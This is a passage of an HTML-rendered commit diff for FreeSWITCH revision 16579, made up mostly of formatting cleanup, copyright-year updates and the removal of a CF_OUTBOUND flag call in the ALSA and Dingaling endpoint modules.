-                                        switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
</del><ins>+                                                         "Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
+                                                         switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (field) {
</span><span class="lines">@@ -252,21 +252,20 @@
</span><span class="cx">                         if (!field_data) {
</span><span class="cx">                                 field_data = "";
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
-                                                                 "Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                 "Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
</ins><span class="cx">                                                                  switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
</span><span class="cx">                                 anti_action = SWITCH_FALSE;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
-                                                                 "Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                 "Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
</ins><span class="cx">                                                                  switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
</span><span class="cx">                         }
</span><span class="cx">                 } else if (time_match == -1) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
-                                                         "Dialplan: %s Absolute Condition [%s]\n",
-                                                         switch_channel_get_name(channel), exten_name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                         "Dialplan: %s Absolute Condition [%s]\n", switch_channel_get_name(channel), exten_name);
</ins><span class="cx">                         anti_action = SWITCH_FALSE;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -275,7 +274,7 @@
</span><span class="cx">                                 const char *application = switch_xml_attr_soft(xaction, "application");
</span><span class="cx">                                 const char *data;
</span><span class="cx">                                 const char *inline_ = switch_xml_attr_soft(xaction, "inline");
</span><del>-                                int xinline = switch_true(inline_);                                
</del><ins>+                                int xinline = switch_true(inline_);
</ins><span class="cx">
</span><span class="cx">                                 if (!zstr(xaction->txt)) {
</span><span class="cx">                                         data = xaction->txt;
</span><span class="lines">@@ -284,8 +283,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                                                 "Dialplan: %s ANTI-Action %s(%s) %s\n",
-                                                                 switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
</del><ins>+                                                                 "Dialplan: %s ANTI-Action %s(%s) %s\n", switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
</ins><span class="cx">
</span><span class="cx">                                 if (!*extension) {
</span><span class="cx">                                         if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile->destination_number)) == 0) {
</span><span class="lines">@@ -340,9 +338,8 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
-                                                                 "Dialplan: %s Action %s(%s) %s\n",
-                                                                 switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                                 "Dialplan: %s Action %s(%s) %s\n", switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">                                 if (xinline) {
</span><span class="lines">@@ -356,9 +353,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_regex_safe_free(re);
</span><span class="cx">
</span><del>-                if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
-                         (anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) ||
-                        do_break_i == BREAK_ALWAYS) {
</del><ins>+                if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
+                         (anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) || do_break_i == BREAK_ALWAYS) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -370,7 +366,8 @@
</span><span class="cx">         return proceed;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root, switch_xml_t *node)
</del><ins>+static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root,
+                                                                                 switch_xml_t *node)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -457,8 +454,8 @@
</span><span class="cx">                         exten_name = "UNKNOWN";
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
-                                                 "Dialplan: %s parsing [%s->%s] continue=%s\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+                                                 "Dialplan: %s parsing [%s->%s] continue=%s\n",
</ins><span class="cx">                                                  switch_channel_get_name(channel), caller_profile->context, exten_name, cont ? cont : "false");
</span><span class="cx">
</span><span class="cx">                 proceed = parse_exten(session, caller_profile, xexten, &extension);
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddirectoriesmod_ldapmod_ldapc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_alsamod_alsac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -151,7 +151,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -730,12 +731,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_io_routines_t channel_io_routines = {
</span><span class="lines">@@ -761,7 +762,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         if ((*new_session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="lines">@@ -799,7 +801,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -824,8 +825,8 @@
</span><span class="cx">         alsa_endpoint_interface->state_handler = &channel_event_handlers;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_API(api_interface, "alsa", "Alsa", pa_cmd, "<command> [<args>]");
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (switch_core_new_memory_pool(&module_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool\n");
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -954,7 +955,7 @@
</span><span class="cx">                 switch_core_codec_destroy(&globals.write_codec);
</span><span class="cx">         }
</span><span class="cx">         switch_core_hash_destroy(&globals.call_hash);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.cid_name);
</span><span class="cx">         switch_safe_free(globals.cid_num);
</span><span class="lines">@@ -1013,7 +1014,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_core_timer_init(&globals.timer,
</span><del>-                                                         globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet, module_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
+                                                         module_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
</span><span class="cx">                 switch_core_codec_destroy(&globals.read_codec);
</span><span class="cx">                 switch_core_codec_destroy(&globals.write_codec);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_dingalingmod_dingalingc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -206,7 +206,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -459,7 +460,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sql =
</span><del>-                switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr, from);
</del><ins>+                switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr,
+                                         from);
</ins><span class="cx">
</span><span class="cx">         for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &val);
</span><span class="lines">@@ -485,7 +487,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><del>- const char *body, const char *type, const char *hint)
</del><ins>+                                                                 const char *body, const char *type, const char *hint)
</ins><span class="cx"> {
</span><span class="cx">         char *user, *host, *f_user = NULL, *ffrom = NULL, *f_host = NULL, *f_resource = NULL;
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="lines">@@ -518,7 +520,7 @@
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        ldl_handle_send_msg(profile->handle, (char*)from, (char*)to, NULL, switch_str_nil(body));
</del><ins>+                        ldl_handle_send_msg(profile->handle, (char *) from, (char *) to, NULL, switch_str_nil(body));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Profile %s\n", f_host ? f_host : "NULL");
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -699,7 +701,8 @@
</span><span class="cx">                 switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">                 struct private_object *tech_pvt = NULL;
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line, switch_channel_state_name(state));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line,
+                                                 switch_channel_state_name(state));
</ins><span class="cx">
</span><span class="cx">                 tech_pvt = switch_core_session_get_private(*session);
</span><span class="cx">
</span><span class="lines">@@ -874,10 +877,9 @@
</span><span class="cx">         switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
</span><span class="cx">         switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
</span><span class="cx">
</span><del>-        if (globals.auto_nat && tech_pvt->profile->local_network &&
-         !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
</del><ins>+        if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
</ins><span class="cx">                 switch_port_t external_port = 0;
</span><del>-                switch_nat_add_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
</del><ins>+                switch_nat_add_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
</ins><span class="cx">                 tech_pvt->local_port = external_port;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -885,8 +887,8 @@
</span><span class="cx">                                          tech_pvt->local_port, tech_pvt->remote_ip, tech_pvt->remote_port);
</span><span class="cx">
</span><span class="cx">         flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt->profile, TFLAG_TIMER)) {
</span><span class="cx">                 flags |= SWITCH_RTP_FLAG_USE_TIMER;
</span><span class="cx">         }
</span><span class="lines">@@ -973,11 +975,13 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 cand[0].address = tech_pvt->profile->ip;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address, cand[0].port);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address,
+                                                                 cand[0].port);
</ins><span class="cx">                                 if (switch_stun_lookup
</span><span class="cx">                                         (&cand[0].address, &cand[0].port, stun_ip, SWITCH_STUN_DEFAULT_PORT, &err,
</span><span class="cx">                                          switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip, SWITCH_STUN_DEFAULT_PORT, err);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip,
+                                                                         SWITCH_STUN_DEFAULT_PORT, err);
</ins><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                                         return 0;
</span><span class="cx">                                 }
</span><span class="lines">@@ -995,7 +999,8 @@
</span><span class="cx">                 cand[0].password = tech_pvt->local_pass;
</span><span class="cx">                 cand[0].pref = 1;
</span><span class="cx">                 cand[0].protocol = "udp";
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port, cand[0].username);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port,
+                                                 cand[0].username);
</ins><span class="cx">                 tech_pvt->cand_id = ldl_session_candidates(tech_pvt->dlsession, cand, 1);
</span><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT);
</span><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_RTP_READY);
</span><span class="lines">@@ -1232,9 +1237,8 @@
</span><span class="cx">                         tech_pvt->rtp_session = NULL;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (globals.auto_nat && tech_pvt->profile->local_network &&
-                 !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
-                        switch_nat_del_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP);
</del><ins>+                if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
+                        switch_nat_del_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="lines">@@ -1593,12 +1597,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> switch_io_routines_t dingaling_io_routines = {
</span><span class="lines">@@ -1618,7 +1622,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="cx">                 struct private_object *tech_pvt;
</span><span class="lines">@@ -1686,7 +1691,8 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (mdl_profile->purge) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n", mdl_profile->name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n",
+                                                                 mdl_profile->name);
</ins><span class="cx">                                 terminate_session(new_session, __LINE__, SWITCH_CAUSE_NORMAL_UNSPECIFIED);
</span><span class="cx">                                 return SWITCH_CAUSE_NORMAL_UNSPECIFIED;
</span><span class="cx">                         }
</span><span class="lines">@@ -1754,7 +1760,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">
</span><span class="cx">                 switch_stun_random_string(sess_id, 10, "0123456789");
</span><span class="lines">@@ -1811,7 +1816,7 @@
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx">
</span><span class="cx">         module_pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">
</span><span class="cx">         load_config();
</span><span class="lines">@@ -1831,17 +1836,20 @@
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="lines">@@ -1857,7 +1865,7 @@
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
</span><span class="lines">@@ -1903,13 +1911,10 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><span class="cx">                                                  "Invalid Profile\n" "login[%s]\n" "pass[%s]\n" "dialplan[%s]\n"
</span><span class="cx">                                                  "message[%s]\n" "rtp-ip[%s]\n" "name[%s]\n" "exten[%s]\n",
</span><del>-                                                 switch_str_nil(profile->login),
-                                                 switch_str_nil(profile->password),
-                                                 switch_str_nil(profile->dialplan),
-                                                 switch_str_nil(profile->message),
-                                                 switch_str_nil(profile->ip),
-                                                 switch_str_nil(profile->name),
-                                                 switch_str_nil(profile->exten));
</del><ins>+                                                 switch_str_nil(profile->login),
+                                                 switch_str_nil(profile->password),
+                                                 switch_str_nil(profile->dialplan),
+                                                 switch_str_nil(profile->message), switch_str_nil(profile->ip), switch_str_nil(profile->name), switch_str_nil(profile->exten));
</ins><span class="cx">
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1976,8 +1981,8 @@
</span><span class="cx">
</span><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.codec_string);
</span><del>-        switch_safe_free(globals.codec_rates_string);        
-        
</del><ins>+        switch_safe_free(globals.codec_rates_string);
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2160,7 +2165,8 @@
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>-        if (session) return status;
</del><ins>+        if (session)
+                return status;
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd) || !(myarg = strdup(cmd))) {
</span><span class="cx">                 stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
</span><span class="lines">@@ -2179,9 +2185,9 @@
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &val);
</span><span class="cx">                         profile = (mdl_profile_t *) val;
